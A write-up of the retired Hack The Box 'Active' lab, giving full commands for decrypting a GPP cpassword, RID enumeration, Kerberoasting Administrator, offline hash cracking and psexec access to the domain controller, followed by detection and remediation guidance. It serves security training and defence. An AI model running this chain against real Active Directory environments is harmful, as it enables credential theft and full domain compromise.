Active
Executive summary — Active is an Active Directory classic where the flaw isn't an exotic exploit but misconfiguration. The
Replicationshare (replicated SYSVOL) is anonymously readable and contains a Groups.xml with acpassword(GPP): Microsoft published the AES key, so it decrypts toSVC_TGS's credentials. With that account we enumerate the domain (RID brute) and KerberoastAdministrator— which has an SPN registered by mistake —, crack its TGS offline and log in as Domain Admin. Path: GPP → SVC_TGS → Kerberoasting → Administrator.
| Platform | Hack The Box |
| Operating system | Windows Server — Domain Controller (Active Directory) |
| Domain | active.htb |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[Anonymous SMB] Replication share (SYSVOL) → Groups.xml (GPP)
│ cpassword (public AES key, MS14-025) → gpp-decrypt
│ → SVC_TGS : GPPstillStandingStrong2k18
▼
[SVC_TGS] (user.txt) → RID brute (NetExec) → user list
│ Kerberoasting against Administrator (SPN it shouldn't have)
│ GetUserSPNs → TGS-REP etype23 → hashcat/john
▼
[ADMIN] Administrator : Ticketmaster1968 → psexec → root.txt
1. Reconnaissance (Nmap)
First we confirm what the target exposes and whether it looks like a Domain Controller:
nmap -Pn -sC -sV -p- --min-rate 10000 <TARGET_IP> -oN nmap_active.txt
Flag breakdown: -Pn assumes the host is up even without a ping reply (common on HTB, which usually blocks ICMP); -sC runs the default NSE scripts for basic enumeration; -sV detects service versions; -p- scans all 65535 TCP ports; --min-rate 10000 speeds up the scan; -oN saves the output to a file. What I'm looking for is the typical DC combo: 53 (DNS), 88 (Kerberos), 389/3268/3269 (LDAP/Global Catalog), 445 (SMB) and 464 (kpasswd). If they all show up together, the target is almost certainly an Active Directory Domain Controller.
2. SMB enumeration: useful shares
On a DC, SMB is often a goldmine: shares like SYSVOL, NETLOGON or, on this box, Replication give key hints about the domain setup.
smbclient -N //<TARGET_IP>/Replication
# recurse to: .../Policies/{...}/MACHINE/Preferences/Groups/Groups.xml
-N forces a null session (no credentials). Replication on Active is exactly that: the replicated contents of SYSVOL, holding the domain's group policies (GPOs). That's where I look for the classic Groups.xml from Group Policy Preferences, where credentials used to be stored.
3. GPP: extracting and decrypting the cpassword
Group Policy Preferences used to let admins push passwords (for example, for local users) directly from a GPO. Microsoft fixed this with MS14-025, but many environments still carry the old XML files that were never cleaned up, and the root problem remains serious: the AES key used to "encrypt" the cpassword attribute was published in MSDN documentation, so the encryption is purely cosmetic and anyone can reverse it.
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
# → SVC_TGS : GPPstillStandingStrong2k18
Groups.xmlyields plaintext domain credentials: userSVC_TGS, passwordGPPstillStandingStrong2k18.
4. Validating credentials and user.txt
With a valid domain account, the first thing to do is verify access and look for flags/files by browsing user shares:
smbclient //<TARGET_IP>/Users -U 'SVC_TGS%GPPstillStandingStrong2k18'
# browse to SVC_TGS\Desktop\user.txt
Access works: we now have working domain credentials and can read user.txt from SVC_TGS's profile.
5. Enumerating domain users (RID brute with NetExec)
Before attacking Kerberos it's worth getting the real list of domain accounts. RID cycling abuses the fact that, with an authenticated session (even a low-privilege one), you can enumerate sequential SAM/LSA RIDs (relative identifiers) and resolve them to account names:
netexec smb <TARGET_IP> -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' --rid-brute \
| grep SidTypeUser \
| awk '{print $6}' \
| awk -F '\' '{print $2}' > users.txt
Breakdown: --rid-brute brute-forces RIDs against the DC to discover existing accounts (users, groups, machines); grep SidTypeUser filters only user-type entries (drops groups and machines); the first awk keeps the DOMAIN\user field; the second splits on the backslash and keeps just the username. The result, users.txt, is a clean list of real domain accounts, useful for spraying or for steering the next step.
6. Kerberoasting against Administrator
With a valid account and an identified DC, the logical move is to look for accounts with an SPN (Service Principal Name): the KDC hands over, to whoever requests it, a TGS encrypted with the SPN owner's password hash — and that ticket is crackable offline without touching the DC again. On Active, surprisingly, Administrator itself has a registered SPN:
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip <TARGET_IP> -request
GetUserSPNs lists accounts with an SPN, and with -request it also requests the TGS for each one, printing it already in crackable hash format:
$krb5tgs$23$*Administrator$ACTIVE.HTB$...
7. Cracking the TGS offline
I save the full hash on a single line (no stray line breaks) and confirm the file has exactly that one line before cracking:
wc -l admin.hash # should read: 1 admin.hash
Option A — hashcat (mode 13100 = Kerberos 5 TGS-REP, etype 23):
hashcat -m 13100 admin.hash /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
hashcat -m 13100 admin.hash --show
Option B — John (alternative, very handy with rules):
john --format=krb5tgs admin.hash --wordlist=/usr/share/wordlists/rockyou.txt --rules
john --show admin.hash
The rockyou.txt wordlist together with the best64 rules (which mutate typical case, digits and symbols) is enough here. Cracking recovers Administrator's real password:
Administrator:Ticketmaster1968
8. Final access as Domain Admin
With Administrator's real password, the direct route to a high-privilege shell is Impacket's psexec, which creates a remote service over SMB:
impacket-psexec active.htb/Administrator:'Ticketmaster1968'@<TARGET_IP>
(Optional) access can also be validated by simply browsing shares as Administrator before launching psexec:
smbclient //<TARGET_IP>/Users -U 'Administrator%Ticketmaster1968'
cd C:\Users\Administrator\Desktop
type root.txt
On Windows, "root" equals the Administrator flag. Domain fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | SMB Replication | Anonymously readable SYSVOL share | Access to Groups.xml |
| Foothold | Group Policy Preferences | Reversible cpassword via public AES key (MS14-025) | SVC_TGS credential |
| Recon | RPC / RID cycling | RID enumeration with an authenticated low-privilege session | Domain user list |
| PrivEsc | Administrator SPN | Kerberoasting → offline TGS-REP crack | Administrator's password → Domain Admin |
Defender's view
Active is pure misconfiguration, and every step generates domain-controller telemetry a SOC can act on, provided the right audit policies are enabled.
GPP cpassword in an anonymously readable SYSVOL copy
How it shows up in logs / telemetry
- With detailed file share auditing enabled, Security event 5145 records who opened
Groups.xmlunderPolicies\; access from a non-domain or anonymous session is an immediate red flag. - Any later logon by
SVC_TGSfrom a workstation it never uses (4624/4768 from a new source) shows the credential is being reused.
How to fix it
- Search SYSVOL for any XML containing
cpasswordand delete those preferences; MS14-025 stopped new ones from being created but never removed existing files. - Rotate every password that ever lived in a GPP file, starting with
SVC_TGS. - Remove anonymous/null-session access to shares such as
Replication.
RID cycling with a low-privilege account
How it shows up in logs / telemetry
- Network sensors (Zeek's DCE-RPC log, for example) see a burst of LSA/SAMR SID-lookup calls from a single host in a few seconds, which normal clients never do.
- On the DC, a spike of authenticated SMB sessions from the same account to
IPC$lines up with the burst.
How to fix it
- Restrict anonymous SID/name translation and SAM enumeration via the corresponding security policies.
- Accept that any authenticated user can list accounts, and design around it: usernames are not secrets.
Kerberoasting Administrator
How it shows up in logs / telemetry
- Event 4769 (service ticket requested) for the SPN registered on
Administrator, especially with RC4 encryption (ticket type0x17), is the classic Kerberoasting signal; one account requesting many tickets in a short window is another. - A decoy account with an SPN that nobody should ever request makes a low-noise honeypot alert.
How to fix it
- Remove the SPN from
Administrator: privileged human accounts should never carry one. - Run services under gMSAs (long, automatically rotated passwords) and prefer AES-only Kerberos, so offline cracking becomes impractical.
Lessons learned
- Never use GPP to push credentials: the cpassword is reversible (public AES key); MS14-025 removed the feature, but old XML files with secrets still circulate in many environments that never cleaned up SYSVOL.
- Review SYSVOL/Replication: don't leave GPO artefacts with secrets readable by any user, not even anonymous ones.
- RID cycling is cheap enumeration: with just one low-privilege account you get the full domain user list; don't rely on username obscurity as a security control.
- Kerberoasting: service accounts (and much worse, Administrator) with an SPN need long, random passwords — or, better, no SPN at all.
- Segregate privileges: Administrator should never have a registered SPN; if an account needs one, it should be a dedicated, scoped service account.